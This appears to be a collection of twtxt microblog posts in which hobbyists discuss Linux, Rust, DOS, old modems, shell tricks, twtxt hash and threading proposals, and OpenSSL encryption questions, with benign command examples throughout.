The WM_CLASS
Property is used on X11 to assign rules to certain windows, e.g. âthis is a GIMP window, it should appear on workspace number 16.â It consists of two fields, name
and class
.
Wayland (or rather, the XDG shell protocol â core Wayland knows nothing about this) only has a single field called app_id
.
When you run X11 programs under Wayland, you use XWayland, which is baked into most compositors. Then you have to deal with all three fields.
Some compositors map name
to app_id
, others map class
to app_id
, and even others directly expose the original name
and class
.
Apparently, there is no consensus.
@movq@www.uninformativ.de Yeah, itâs a shitshow. MS overconfirms all my prejudices constantly.
Ignoring e-mail after lunch works great, though. :-)
Our timetracking is offline for over a week because of reasons. The responsible bunglers are falling by the skin of their teeth: https://lyse.isobeef.org/tmp/timetracking.png
- The error message neither includes the timeframe nor a link to an announcement article.
- The HTML page needs to download JS in order to display the fucking error message.
- Proper HTTP status codes are clearly only for big losers.
- Despite being down, heaps of resources are still fetched.
I find it really fascinating how one can screw up on so many levels. This is developed inhouse, Iâm just so glad that weâre not a software engineering company. Oh wait. How embarrassing.
The Linux installation on my main PC turned 14 today:
$ head -n 1 /var/log/pacman.log
[2011-07-07 11:19] installed filesystem (2011.04-1)
Sem palavras pra descrever esta baixeza de artigo:
Ă© citado um Ășnico estudo baseado em testemunhos de alunos (ficam de fora pais e profs), um estudo qualitativo por isso nĂŁo generalizĂĄvel. Mm assim, os autores do artigo copiam as conclusĂ”es do estudo, e o PĂșblico tb parece estar ok com artigos decalcados
os autores do artigo são consultores que dão formação a pais e educadores sobre problemas do digital nas crianças, por isso basear opinião apenas num estudo q os ignora é ainda mais wtf
argumento de q crianças tĂȘm acesso a dispositivos fora da escola Ă© parvo - tb tĂȘm acesso a tabaco e ĂĄlcool, por isso tb os devemos permitir na escola? come on
e Ă© muito conveniente clamar pela regulamentação das redes sociais sem especificar a forma (proibir anĂșncios? introduzir idades mĂnimas? nĂŁo sabemos).
No final é o costume, os pais e profs que se desenmerdem, a responsabilidade é deles e não das empresas que criam mecanismos de viciação, claro
Weâre entering the âtoo hot to thinkâ-season in 3, 2, 1 ⊠and weâre live!
I did a âlectureâ/âworkshopâ about this at work today. 16-bit DOS, real mode. đŸ Pretty cool and the audience (devs and sysadmins) seemed quite interested. đ„ł
- People used the Intel docs to figure out the instruction encodings.
- Then they wrote a little DOS program that exits with a return code and they used uhex in DOSBox to do that. Yes, we wrote a COM file manually, no Assembler involved. (Many of them had never used DOS before.)
- DEBUG from FreeDOS was used to single-step through the program, showing what it does.
- This gets tedious rather quickly, so we switched to SVED from SvarDOS for writing the rest of the program in Assembly language. nasm worked great for us.
- At the end, we switched to BIOS calls instead of DOS syscalls to demonstrate that the same binary COM file works on another OS. Also a good opportunity to talk about bootloaders a little bit.
- (I think they even understood the basics of segmentation in the end.)
The 8086 / 16-bit real-mode DOS is a great platform to explain a lot of the fundamentals without having to deal with OS semantics or executable file formats.
Now that was a lot of fun. đ„ł Itâs very rare that we do something like this, sadly. I love doing this kind of low-level stuff.
Saw this on Mastodon:
https://racingbunny.com/@mookie/114718466149264471
18 rules of Software Engineering
- You will regret complexity when on-call
- Stop falling in love with your own code
- Everything is a trade-off. Thereâs no âbestâ 3. Every line of code you write is a liability 4. Document your decisions and designs
- Everyone hates code they didnât write
- Donât use unnecessary dependencies
- Coding standards prevent arguments
- Write meaningful commit messages
- Donât ever stop learning new things
- Code reviews spread knowledge
- Always build for maintainability
- Ask for help when youâre stuck
- Fix root causes, not symptoms
- Software is never completed
- Estimates are not promises
- Ship early, iterate often
- Keep. It. Simple.
Solid list, even though 14 is up for debate in my opinion: Software can be completed. You have a use case / problem, you solve that problem, done. Your software is completed now. There might still be bugs and they should be fixed â but this doesnât âaddâ to the program. Donât use âsoftware is never doneâ as an excuse to keep adding and adding stuff to your code.
@aelaraji@aelaraji.com I use Alt+.
all the time, itâs great. đ
FWIW, another thing I often use is !!
to recall the entire previous command line:
$ find -iname '*foo*'
./This is a foo file.txt
$ cat "$(!!)"
cat "$(find -iname '*foo*')"
This is just a test.
Yep!
Or:
$ ls -al subdir
ls: cannot open directory 'subdir': Permission denied
$ sudo !!
sudo ls -al subdir
total 0
drwx------ 2 root root 60 Jun 20 19:39 .
drwx------ 7 jess jess 360 Jun 20 19:39 ..
-rw-r--r-- 1 root root 0 Jun 20 19:39 nothing-to-see
@prologic@twtxt.net Iâm trying to call some libc functions (because the Rust stdlib does not have an equivalent for getpeername()
, for example, so I donât have a choice), so I have to do some FFI stuff and deal with raw pointers and all that, which is very gnarly in Rust â because youâre not supposed to do this. Things like that are trivial in C or even Assembler, but I have not yet understood what Rust does under the hood. How and when does it allocate or free memory ⊠is the pointer that I get even still valid by the time I do the libc call? Stuff like that.
I hope that I eventually learn this over time ⊠but I get slapped in the face at every step. Itâs very frustrating and Iâm always this đ€ close to giving up (only to try again a year later).
Oh, yeah, yeah, I guess I could âjustâ use some 3rd party library for this. socket2 gets mentioned a lot in this context. But I donât want to. I literally need one getpeername()
call during the lifetime of my program, I donât even do the socket()
, bind()
, listen()
, accept()
dance, I already have a fully functional file descriptor. Using a library for that is total overkill and Iâd rather do it myself. (And look at the version number: 0.5.10
. The library is 6 years old but theyâre still saying: âNah, weâre not 1.0 yet, we reserve the right to make breaking changes with every new release.â So many Rust libs are still unstable âŠ)
⊠and I could go on and on and on ⊠đ€Ł
So I was using this function in Rust:
https://doc.rust-lang.org/std/path/struct.Path.html#method.display
Note the little 1.0.0
in the top right corner, which means that this function has been âstable since Rust version 1.0.0â. Weâre at 1.87 now, so weâre good.
Then I compiled my program on OpenBSD with Rust 1.86, i.e. just one version behind, but well ahead of 1.0.0.
The compiler said that I was using an unstable library feature.
Turns out, that function internally uses this:
https://doc.rust-lang.org/std/ffi/struct.OsStr.html#method.display
And that is only available since Rust 1.87.
How was I supposed to know this? đ€šđ«©
@nghialele@nghia.im Man, I wish I could watch Formula 1 on a regular basis again, but it has become expensive as fuck here. đ«€
This is my highlight, really, havenât seen this in action in a loooooooong time:
Maybe youâll enjoy this as well:
I still have one of my first modems, a Creatix LC 144 VF:
I think this was the modem that I used when I first connected to the internet, but Iâm not sure.
I plugged it in again and it still works:
The firmware appears to be from 1994, which sounds about right. I donât think we had internet access before that. We certainly did use local mailboxes, though. (Or BBSâs, as you might call them.)
I now want to actually use that modem again. For the moment, I can only use a phone to dial into it, I lack a second modem to actually establish a connection. Hereâs a video:
Not spectacular, but the modem does answer after me entering ATA
.
I bought another cheap old modem on eBay and am now waiting for it to arrive. Once itâs here, I want to simulate an actual dial-up session, hopefully from OS/2 or Windows 3.x.
One of the nicest things about Go is the language itself, comparing Go to other popular languages in terms of the complexity to learn to be proficient in:
- Go:
25
keywords (Stack Overflow); CSP-style concurrency (goroutines & channels)
- Python 2:
30
keywords (TutorialsPoint); GIL-bound threads & multiprocessing (Wikipedia)
- Python 3:
35
keywords (Initial Commit); GIL-bound threads,asyncio
& multiprocessing (Wikipedia, DEV Community)
- Java:
50
keywords (Stack Overflow); threads +java.util.concurrent
(Wikipedia)
- C++:
82
keywords (Stack Overflow);std::thread
, atomics & futures (en.cppreference.com)
- JavaScript:
38
keywords (Stack Overflow); single-threaded event loop &async/await
, Web Workers (Wikipedia)
- Ruby:
42
keywords (Stack Overflow); GIL-bound threads (MRI), fibers & processes (Wikipedia)
@movq@www.uninformativ.de i feel like when i read go code iâm reading some algebra shit where every part is 1-5 letters long and then thereâs weird symbols like :=
and itâs just infinitely harder for me to parse and infer meaning from lol. itâs such a me problem
This is one of my attempts:
$ go build ./cmd/xor/... && ./xor
Generation 95 | Fitness: 0.999964 | Nodes: 9 | Conns: 19
Target reached!
Best network performance:
[0 0] â got=0 exp=0 (raw=0.000) â
[0 1] â got=1 exp=1 (raw=0.990) â
[1 0] â got=1 exp=1 (raw=0.716) â
[1 1] â got=0 exp=0 (raw=0.045) â
Overall accuracy: 100.0%
Wrote best.dot â render with `dot -Tpng best.dot -o best.png`
fit 1 $ spin (saw 0.1 * sign fxy) $ rect 0 1 - rect 0 0.99 >> add;
#punctual #livecoding #creativecoding #videoart
@bender@twtxt.net Just to save some unnecessary und useless network traffic. :-) So that I can download more 1080p videos!!1
1 RPM
. This is a rather aggressive rate limit actually. This basically makes Github inaccessible and useless for basically anything unless you're logged in. You can basically kiss "pursuing" casually, anonymously goodbye.
@bender@twtxt.net 5, 4, 3, 2, 1 đ€Ł
@bender@twtxt.net Basically the way Iâm reading this is 1 RPM
. This is a rather aggressive rate limit actually. This basically makes Github inaccessible and useless for basically anything unless youâre logged in. You can basically kiss âpursuingâ casually, anonymously goodbye.
Imagine if I imposed that kind of rate limit on twtxt.net?! đ€Ł
The album I got by accident is starting to grow on me. Not that bad. đ€ Itâs Dredg â El Cielo, btw: https://www.youtube.com/watch?v=e4JB8rmXaO8&list=PLRASiMqDV8psZSFQi7nUX4p0R8oRHbUy_&index=1
@bender@twtxt.net Iâm not sure this is accurate, if you lookup mine:
$ whois shortcircuit.net.au 2>&1 | grep -i creat
created: 1986-03-05
I think this has to be the registrarâs creation date no? đ€
And on a similar note, cross-post from Mastodon:
What I love about HTML and HTTP is that it can degrade rather gracefully on old browsers.
My website isnât spectacular but I donât think it looks horrible, either. And itâs still usable just fine all the way down to WfW 3.11:
Itâs not perfect, but itâs usable. And that makes me happy. Almost 30 years of compatibilty.
The biggest sacrifice is probably that I donât enforce TLS and that HTTP 1.0 has no Host:
header, so no vhosts (or rather, everything must come from the default vhost). (Yes, some old browsers send Host:
, even though they predate HTTP 1.1. Netscape does, but not IBM WebExplorer, for example.)
(On the other hand, it might completely suck on modern mobile devices. Dunno, I barely use those. đ€Ș)
morning yarnverse (itâs 1:30pm here i slept in). iâm already bored
Iâve just released version 1.0 of twtxt.el (the Emacs client), the stable and final version with the current extensions. Iâll let the community maintain it, if there are interested in using it. I will also be open to fix small bugs.
I donât know if this twt is a goodbye or a see you later. Maybe I will never come back, or maybe I will post a new twt this afternoon. But itâs always important to be grateful. Thanks to @prologic@twtxt.net @movq@www.uninformativ.de @eapl.me@eapl.me @bender@twtxt.net @aelaraji@aelaraji.com @arne@uplegger.eu @david@collantes.us @lyse@lyse.isobeef.org @doesnm@doesnm.p.psf.lt @xuu@txt.sour.is @sorenpeter@darch.dk for everything you have taught me. Iâve learned a lot about #twtxt, HTTP and working in community. It has been a fantastic adventure!
What will become of me? I have created a twtxt fork called Texudus (https://texudus.readthedocs.io/). I want to continue learning on my own without the legacy limitations or technologies that implement twtxt. Itâs not a replacement for any technology, itâs just my own little lab. I have also made a fork of my own client and will be focusing on it for a while. I donât expect anyone to use it, but feedback is always welcome.
Best regards to everyone.
#twtxt #emacs #twtxt-el #texudus
E nĂŁo Ă© que os finĂłrios do Airbnb conseguiram encaixar um artigo no PĂșblico como âopiniĂŁoâ?
@movq@www.uninformativ.de If weâre focusing on solving the âmissing rootsâ problems. I would start to think about âclient recommendationsâ. The first recommendation would be:
- Replying to a Twt that has no initial Subject must itself have a Subject of the form (hash; url).
This way itâs a hint to fetching clients that follow B, but not A (in the case of no mentions) that the Subject/Root might (very likely) is in the feed url
.
7
to 12
and use the first 12
characters of the base32 encoded blake2b hash. This will solve two problems, the fact that all hashes today either end in q
or a
(oops) đ
And increasing the Twt Hash size will ensure that we never run into the chance of collision for ions to come. Chances of a 50% collision with 64 bits / 12 characters is roughly ~12.44B Twts. That ought to be enough! -- I also propose that we modify all our clients and make this change from the 1st July 2025, which will be Yarn.social's 5th birthday and 5 years since I started this whole project and endeavour! đ± #Twtxt #Update
@eapl.me@eapl.me I honestly believe you are overreacting here a little bit đ€Ł I completely emphasize with you, it can be pretty tough to feel part of a community at times and run a project with a kind of âdemocracyâ or âvote by committeeâ. But one thing that life has taught me about open source projects and especially decentralised ecosystems is that this doesnât really work.
It isnât that Iâve not considered all the other options on the table (which can still be), itâs just that Iâve made a decision as the project lead that largely helped trigger a rebirth of the use of Twtxt back in July 1 2020. There are good reasons not to change the threading model right now, as the changes being proposed are quite disruptive and donât consider all the possible things that could go wrong.
We havet an AI assistant at work, new version came out today ânearby restaurant recommendationsâ mentioned. Gotta try that!
Ask it where I can get a burger, knowing thereâs 3 spots that had it on the menu, AI says thereâs none. Ask it to list all the restaurants nearby it can check⊠it knows 3, of the 10 or so around, but 1/3, even has a burger, on the menu.
Ask it to list the whole menu at restaurant 1: it hallucinates random meals, none of which they had (I ate there).
Restaurant 2 (the one most people go to, so they must have at least tested it with this one): it lists the soup of the day and Ÿ meals available. Incomplete, but better than false.
Restaurant 3: it says âfoodâ and gives a general description of food. You have to be fucking kidding me!
âBuT cAnInE, tHe A(G)i ReVoLuTiOn Is NoWâ
I just fixed a bug in ttâs reply to parent feature. Previously, when the message tree looked like the following
Message
ââŽReply 1
â ââŽSubreply
ââŽReply 2
and âReply 2â was selected, pressing A
to reply to the parent should have picked âMessageâ. However, a reply to âReply 2â was composed instead. The reason was a precausiously introduced safety guard to abort the parent search which stopped at âSubreplyâ, because its subject didnât match âReply 2ââs. It was originally intended to abort on a completely different message conversation root. Just in case. Turns out that this thoght was flawed.
Fixing bugs by only removing code is always cool. :-)
Can you automate the drawing with a script? On X11, you can:
#!/bin/sh
# Position the pointer at the center of the dot, then run this script.
sleep 1
start=$(xdotool getmouselocation --shell)
eval $start
r=400
steps=100
down=0
for step in $(seq $((steps + 1)) )
do
# pi = 4 * atan(1)
new_x=$(printf '%s + %s * c(%s / %s * 2 * (4 * a(1)))\n' $X $r $step $steps | bc -l)
new_y=$(printf '%s + %s * s(%s / %s * 2 * (4 * a(1)))\n' $Y $r $step $steps | bc -l)
xte "mousemove ${new_x%%.*} ${new_y%%.*}"
if ! (( down ))
then
xte 'mousedown 1'
down=1
fi
done
xte 'mouseup 1'
xte "mousemove $X $Y"
Interestingly, you can abuse the scoring system (not manually, only with a script). Since the mouse jumps to the locations along the circle, you can just use very few steps and still get a great score because every step you make is very accurate â but the result looks funny:
đ„Ž
This is something for @movq@www.uninformativ.de and old OS hobbyists alike: FreeDOS 1.4! Get it while itâs hot!
Regex Isnât Hard - Tim Kellogg đ this is a pretty good conscience article on regexes, and I agree, regex isnât that hardâą â However I think I can make the TL;DR even shorter đ
Regex core subset (portable across languages):
Character sets
âą a matches âaâ
âą [a-z] any lowercase
âą [a-zA-Z0-9] alphanumeric
âą [^ab] any char but a or b
Repetition (applies to the preceding atom)
âą ? zero or one
âą * zero or more
âą + one or more
Groups
âą (ab)+ matches âabâ, âababâ, âŠ
âą Capture for extract/substitute via $1 or \1
Operators
âą foo|bar = foo or bar
âą ^ start anchor
âą $ end anchor
Ignore nonâportable shortcuts: \w, ., {n}, *?, lookarounds.
#event:abc123 RSVP: yes +1
Hmmm thereâs a bug somewhere in the way Iâm ingesting archived feeds đ€
sqlite> select * from twts where content like 'The web is such garbage these days%';
hash = 37sjhla
feed_url = https://twtxt.net/user/prologic/twtxt.txt/1
content = The web is such garbage these days đ Or is it the garbage search engines? đ€
created = 2024-11-14T01:53:46Z
created_dt = 2024-11-14 01:53:46
subject = #37sjhla
mentions = []
tags = []
links = []
sqlite>
@prologic@twtxt.net @bmallred@staystrong.run Ah, I just found this, didnât see it before:
https://restic.net/#compatibility
So, yeah, they do use semver and, yes, theyâre not at 1.0.0 yet, so things might break on the next restic update ⊠but they âpromiseâ to not break things too lightheartedly. Hm, well. đ Probably doesnât make a big difference (they donât say âdonât use this software until we reach 1.0.0â).
AS136907 HWCLOUDS-AS-AP HUAWEI CLOUDS
@prologic@twtxt.net This shi_ is as fun as it is frustrating! đ the bot is poking at me from a different ASN now, Alibabaâs.
- Short term solution: Iâve geo-locked my Timeline instance since Iâm the only one using it (and I only do so for reading twts when Iâm away from terminal).
- Long term: I took a look at your Caddy WAF but couldnât figure things out on my own; until then, Iâll be poking at Caddy-Defender, maybe throw in a Crowdsec for lols⊠#FUN
@david@collantes.us If I run
printf '%s\n%s\n%s' 'https://aelaraji.com/twtxt.txt' '2025-04-16T22:49:11+00:00' "Am I tripping or `rsync` is actually THIS effing faster than `scp`!!? đ«š" | b2sum -l 256 | awk '{ print $1 }' | xxd -r -p | base32 | tr -d '=' | tr 'A-Z' 'a-z' | tail -c 8
I have xqfsv6a
. It is raw text
But⊠If I change de date to 2025-04-16T22:49:11Z
I have si4er3q
.
Even though I really do like the shell, I always use Dolphin to mount my digicam SD card and copy the photos onto my computer. I finally added a context menu item in Dolphin to create a forest stroll directory with the current date in order to save some typing:
The following goes in ~/.local/share/kservices5/ServiceMenus/galmkdir.desktop:
[Desktop Entry]
Type=Service
X-KDE-ServiceTypes=KonqPopupMenu/Plugin,inode/directory
Actions=Waldspaziergang;
[Desktop Action Waldspaziergang]
Name=Heutigen Waldspaziergang anlegenâŠ
Icon=folder-green
Exec=~/src/gelbariab/galmkdir "%f"
In order to update the KDE desktop cache and make this action menu item available in Dolphin, I ran:
kbuildsycoca5
The referenced galmkdir
script looks like that:
#!/bin/sh
set -e
current_dir="$1"
if [ -z "$current_dir" ]; then
echo "Usage: $0 DIRECTORY" >&2
exit 1
fi
dir="$(kdialog \
--geometry 350x50 \
--title "Heutigen Waldspaziergang anlegen" \
--inputbox "Neues Verzeichnis in â$current_dirâ anlegen:" \
"waldspaziergang-$(date +%Y-%m-%d)")"
mkdir "$current_dir/$dir"
dolphin "$current_dir/$dir"
This solution is far from perfect, though. Ideally, Iâd love to have it in the âCreate Newâ menu instead of the âActionsâ menu. But that doesnât really work. I cannot define a default directory name, not to mention even a dynamic one with the current date. (I would have to update the .desktop file every day or so.) I also failed to create an empty directory. I somehow managed to create a directory with some other templates in it for some reason I do not really understand.
Letâs see how that works out in the next days. If I like it, I might define a few more default directory names.
@andros@twtxt.andros.dev how often do you send a private message on the Fediverse? How often do you send PGP/SMIME encrypted emails? Are there other tools that are more suitable for the task? If implementing direct/private messages on twtxt
scratches an itch (you know, that hobbyist itch we all get from time to time), then donât give up so easily. Worse comes to worse, and your feed becomes too noisy, people can simply unfollow/mute.
I really donât care about direct messages here, but I might be on that bottom 1%!
Yeah same order of magnitude đ No relation mice other than the recent study that precisely measured the number of cells and connections in 1 cubic mm of brain tissue.
AI problems, top to bottom:
1: Open AI nerds, believe fine tuning a language model algorithm, will eventually produce an AGI god.
2: Subpar artists and techbros who canât code, convinced AI image bashing and vibe coding, will help convince the dumber parts of Internet, they are a real deal.
3: Parasites, using AI to scam people, because they just want passive income, selling crap, made by an automated process.
Side: Adobe&co, killing Flash/old web, pricing new artists and developers out, to face learning curves of free tools, or use AI, peddled as solution.
@anth@a.9srv.net Hahaha, for a second I thought that you implemented word splitting according to Swiss (.ch
) rules. :-D
Btw, both manpage links string(2)
and getields(2)
(itâs missing an f
) point into nothingness: http://a.9srv.net/src/wordwrap.2.html
I canât help but notice line 9: http://a.9srv.net/src/wordwrap.c
And I reckon your finger slipped one key to the right for quore
: http://a.9srv.net/src/litclock.1.html
Cool stuff! :-)
@prologic@twtxt.net Iâm not sure if thatâs an intended behaviour but twtxt.net
âs home page doesnât load more than 13 twts, no more pagination/infinite scrollingâŠ
Page 1/1 of 13 Twts
hello friends i spent a couple hours today using a random string generator by charm CLI called hotdiva2000 to make a script that 1) generates a static index.html page 2) the page is a prompt generator where all the prompts are from hotdiva2000!!!!!
this makes more sense if you look at it check it out
@kat@yarn.girlonthemoon.xyz Itâs very well hidden, it took me a while to find that. Go to âSettingsâ in the menu bar up top â âProfile and Privacyâ (already selected) â on the right at âUser Infoâ â â1 Mutedâ â click the link with the minus in the circle at the message you want to unmute.
./yarnc debug <your feed url>
:
OH wait! đł Why am I storing the timestamp as created = 2025-04-07T19:59:51Z
?! đ± @movq@www.uninformativ.deâs feed shows:
2025-04-07T19:59:51+00:00 I wonder if my current Linux installation will actually make it to 20 years:
$ head -n 1 /var/log/pacman.log
[2011-07-07 11:19] installed filesystem (2011.04-1)
Itâs not toooo far into the future.
It would be crazy ⊠20 years without reinstalling once ⊠phew. đ„Ž
Hmmmm
@movq@www.uninformativ.de Not according to the output of ./yarnc debug <your feed url>
:
znf6csa 2025-04-07T19:59:51+00:00 I wonder if my current Linux installation will actually make it to 20 years:
$ head -n 1 /var/log/pacman.log
[2011-07-07 11:19] installed filesystem (2011.04-1)
Itâs not toooo far into the future.
It would be crazy ⊠20 years without reinstalling once ⊠phew. đ„Ž
Doesnât look like it Hmmm
sqlite> select * from twts where content LIKE '%Linux installation%';
hash = znf6csa
feed_url = https://www.uninformativ.de/twtxt.txt
content = I wonder if my current Linux installation will actually make it to 20 years:
$ head -n 1 /var/log/pacman.log
[2011-07-07 11:19] installed filesystem (2011.04-1)
Itâs not toooo far into the future.
It would be crazy ⊠20 years without reinstalling once ⊠phew. đ„Ž
created = 2025-04-07T19:59:51Z
subject = (#znf6csa)
mentions = []
tags = []
links = []
I wonder if my current Linux installation will actually make it to 20 years:
$ head -n 1 /var/log/pacman.log
[2011-07-07 11:19] installed filesystem (2011.04-1)
Itâs not toooo far into the future.
It would be crazy ⊠20 years without reinstalling once ⊠phew. đ„Ž
@prologic@twtxt.net, from IRC:
- Saving preferences is failing. Specifically trying to save âOpen Linksâ on the same window. For sure it isnât happening. Check errors on browserâs console.
- Search results pagination is broken. Search for âtwtxt.netâ and see it. Also, picking oldest/newest makes no difference on that search query.
@prologic@twtxt.net Not sure if the confirmation helps at all. You just condition yourself to immediately press y
on a daily basis.
Apart from that, aborting the removal should probably terminate the function with a non-zero exit code, something like return 1
.
So I re-write this shell alias that I used all the time alias dkv="docker rm"
to be a much safer shell function:
dkv() {
if [[ "$1" == "rm" && -n "$2" ]]; then
read -r -p "Are you sure you want to delete volume '$2'? [Y/n] " confirm
confirm=${confirm:-Y}
if [[ "$confirm" =~ ^[Yy]$ ]]; then
# Disable history
set +o history
# Delete the volume
docker volume rm "$2"
# Re-enable history
set -o history
else
echo "Aborted."
fi
else
docker volume "$@"
fi
}
Hello, i want to present my new revolution twtxt v3 format - twjson
Thatâs why you should use it:
- Itâs easy to to parse
- Itâs easy to read (in formatted mode :D)
- It used actually \n for newlines, you donât need unprintable symbols
- Forget about hash collisions because using full hash
Here is my twjson feed: https://doesnm.p.psf.lt/twjson.json
And twtxt2json converter: https://doesnm.p.psf.lt/twjson.js
about:compat
in Firefox.
@movq@www.uninformativ.de Wow, I use Firefox and didnât realize this existed! Thanks for pointing it out. I noticed at least one bug cited a webcompat.com report; I wonder if someone at Mozilla monitors those. https://webcompat.com/issues?page=1&per_page=50&state=open&stage=all&sort=created&direction=desc
2 is a great idea, you should suggest it in that blog post.
About 1, well, I think anyone has an email address and only about 5% use a Feed, so it makes sense to offer what most people use đ€
âUnread messages: -1â: Well, classic off by one error. I gotta have to hunt that down.
@eapl.me@eapl.me Interesting! Two points stood right out to me:
Why the hell are e-mail newsletters considered a valid option in the first place? Just offer an Atom feed and be done with it! Especially for a blog of this very type. This doesnât even involve a third party service. Although, in addition he also links to Feedburner, what the fuck!? No e-mail address or the like is needed and subject to being disclosed.
When these spam mailers want to prevent resubscribing, then for fuckâs sake, why donât they use a hash of the e-mail address (I saw that in yarnd) for that purpose? Storing the e-mail address in clear text after unsubscribing is illegal in my book.
tt
reimplementation that I already followed with the old Python tt
. Previously, I just had a few feeds for testing purposes in my new config. While transfering, I "dropped" heaps of feeds that appeared to be inactive.
I need to import my yarn cache. Itâs sitting at about 1.5G in registry format. That should make things interestingâŠ
tt
reimplementation that I already followed with the old Python tt
. Previously, I just had a few feeds for testing purposes in my new config. While transfering, I "dropped" heaps of feeds that appeared to be inactive.
neat! my watcher is currently sitting at about 75 MB following over 1500 feeds. only about 200 are currently somewhat active.
-rw-r--r--. 1 xuu xuu 69M Mar 25 20:46 twt.db
-rw-r--r--. 1 xuu xuu 32K Mar 25 21:34 twt.db-shm
-rw-r--r--. 1 xuu xuu 5.6M Mar 25 21:34 twt.db-wal
sqlite> select state, count(*) n from feeds group by 1;
hot|7
warm|8
cold|183
frozen|743
permanantly-dead|857
I have finished 1-9 on Python. If anyone is interested, I could share the code, or in Reddit many people have shared theirs.
Ctrl+Left
to jump a word left, I get 1;5D
in my tt2 message text. My TERM
is set to rxvt-unicode-256color
. In tt
, it works just fine. When I change to TERM=xterm-256color
, it also works in tt2
. I have to read up on that. Maybe even try to capture these sequences and rewrite them.
Well, some time ago I put this in my ~/.Xdefaults:
URxvt.keysym.Control-Up: \033[1;5Aâš URxvt.keysym.Control-Down: \033[1;5B
URxvt.keysym.Control-Left: \033[1;5Dâš URxvt.keysym.Control-Right: \033[1;5C
Probably to behave more like XTerm and fix a few other issues I had with other programs. But, it turns out, tcell expects the original sequence: https://github.com/gdamore/tcell/blob/main/terminfo/r/rxvt/term.go#L487
Hmm.
Hmmm, when I Ctrl+Left
to jump a word left, I get 1;5D
in my tt2 message text. My TERM
is set to rxvt-unicode-256color
. In tt
, it works just fine. When I change to TERM=xterm-256color
, it also works in tt2
. I have to read up on that. Maybe even try to capture these sequences and rewrite them.
@eapl.me@eapl.me Cool!
Proposal 3 (https://git.mills.io/yarnsocial/twtxt.dev/issues/18#issuecomment-19215) has the âadvantageâ, that you do not have to âmentionâ the original author if the thread slightly diverges. It seems to be a thing here that conversations are typically very flat instead of trees. Hence, and despite being a tree hugger, I voted for 3 being my favorite one, then 2, 1 and finally 4.
All proposals still need more work to clarify the details and edge cases in my opinion before they can be implemented.
@andros@twtxt.andros.dev Can you reproduce any of this outside of your client? I canât spot a mistake here:
$ curl -sI 'http://movq.de/v/8684c7d264/.html%2Dindex%2Dthumb%2Dgimp11%2D1.png.jpg'
HTTP/1.1 200 OK
Connection: keep-alive
Content-Length: 2615
Content-Type: image/jpeg
Date: Wed, 19 Mar 2025 19:53:17 GMT
Last-Modified: Wed, 19 Mar 2025 17:34:08 GMT
Server: OpenBSD httpd
$ curl -sI 'https://movq.de/v/8684c7d264/gimp11%2D1.png'
HTTP/1.1 200 OK
Connection: keep-alive
Content-Length: 131798
Content-Type: image/png
Date: Wed, 19 Mar 2025 19:53:19 GMT
Last-Modified: Wed, 19 Mar 2025 17:18:07 GMT
Server: OpenBSD httpd
$ telnet movq.de 80
Trying 185.162.249.140...
Connected to movq.de.
Escape character is '^]'.
HEAD /v/8684c7d264/.html%2Dindex%2Dthumb%2Dgimp11%2D1.png.jpg HTTP/1.1
Host: movq.de
Connection: close
HTTP/1.1 200 OK
Connection: close
Content-Length: 2615
Content-Type: image/jpeg
Date: Wed, 19 Mar 2025 19:53:31 GMT
Last-Modified: Wed, 19 Mar 2025 17:34:08 GMT
Server: OpenBSD httpd
Connection closed by foreign host.
$
@eapl.me@eapl.me Good job! I have added these comments:
- It is only long for humans. Clients can only leave a hyperlink.
- The nickname is just a decoration, only the date that acts as the id and the URL matter. The nick is used for humans reading the feed.
- It can be migrated with a script, if the feed exists.
Timeline and twtxt-php, donât support Gemini, only HTTP/S, as a design choice (although originally it was intended to work on Gemtext, it was a niche inside a niche, so it was discarded very soon).
At the moment of building the engine there werenât many Gemini URLs supporting twtxt 1.1 (with twtxt.dev extensions).
Also User-Agent wonât work there, and many Gemini URLs are a mirror of the HTTP one, so I think is not strictly necessary.
my 2c
Chapter 1:
Chapter 2:
if you want a different voice let me know which to use: https://rhasspy.github.io/piper-samples/
For point 1 and others using the metadata tags. we have implemented them in yarnd as [lang=en][meta=data]
looks good to me!
About aliceâs hash, using SHA256, I get 96473b4f
or 96473B4F
for the last 8 characters. Iâll add it as an implementation example.
The idea of including it besides the follow URL is to avoid calculating it every time we load the file (assuming the client did that correctly), and helps to track replies across the file with a simple search.
Also, watching your example Iâm thinking now that instead of {url=96473B4F,id=1}
which is ambiguous of which URL we are referring to, it could be something like:
{reply_to=[URL_HASH]_[TWT_ID]}
/ {reply_to=96473B4F_1}
That way, the âfull twt IDâ could be 96473B4F_1
.
- System Design Interview Vol. 1 and 2, Alex Xu and Sahn Lam
- Designing Data-Intensive Applications, Martin Kleppmann
And, Ramadan
is next week. So, we switched to UTC from UTC+1 in the weekend. As if itâs going to make the days any shorter đ
@arne@uplegger.eu Hi! I love that youâre implementing it! Maybe, when weâre both done, we could test the clients by communicating both.
I donât think Iâm going to be able to help you much, my knowledge of OpenSSL and PHP is not as high as Iâd like it to be.
Maybe the OpenSSL version uses SHA-1 by default in PHP. Or that the IV is derived together with the key (not generated separately). But Iâm not able to answer your questions, sorry.
Iâm invoking the commands directly, without any libraries in between. Maybe that would help you?
@arne@uplegger.eu Well, just for my understanding. The command:
echo "Lorem ipsum" | openssl enc -aes-256-cbc -pbkdf2 -iter 100000 -out message.enc -pass file:shared_key.bin
will take the input string from echo
to openssl
. It then will
- use the content of
shared_key.bin
as password
- use
PBKDF2
with an iteration of 100000 to generate a encryption key from the given password (shared_key.bin
)
- use the
PBKDF2
generated key for anaes-256-cbc
encryption
The final result is encrypted data with the prepended salt (which was generated by runtime), e.g.: Salted__qïżœ;ïżœïżœ-ïżœTïżœïżœïżœ"h%ïżœïżœ5ïżœïżœ ...
.
With a dummy script I now can generate a valide shared key within PHP âopenssl_pkey_derive()â - identical to OpenSSL.
I also can en-/decrypt salted data within my script, but not with OpenSSL. There are several parameters of PBKDF2
unknown to me.
Question:
- Is the salt, used by
aes-256-cbc
andPBKDF2
the same, prepended in the encrypted data?
- Witch algorithm/cipher is used within
PBKDF2
: sha1, sha256, �
- What is the desired key length of
PBKDF2
(https://www.php.net/manual/en/function.openssl-pbkdf2.php)?
To be continued âŠ
@eapl.me@eapl.me I can do that as soon as I get back home. Also, just in case youâve missed it, Choice 1 is actually 4 different variations.
Iâm surprised, here you canât find dial controls anymore. How old are your ovens? The last one my parents had was from the 90s.
I was amazed experimenting with different combinations, for instance instead of 100, using 60 for a minute, 90 for 1:30, and stupid stuff like heating with 11, 22, 55 seconds and so, to make it quicker to type any time.
You have a microwave oven at home, right?
You can type 3 and 0 for 30 seconds, 100 for a minute (shown as 1:00), or 200 for two minutes (2:00).
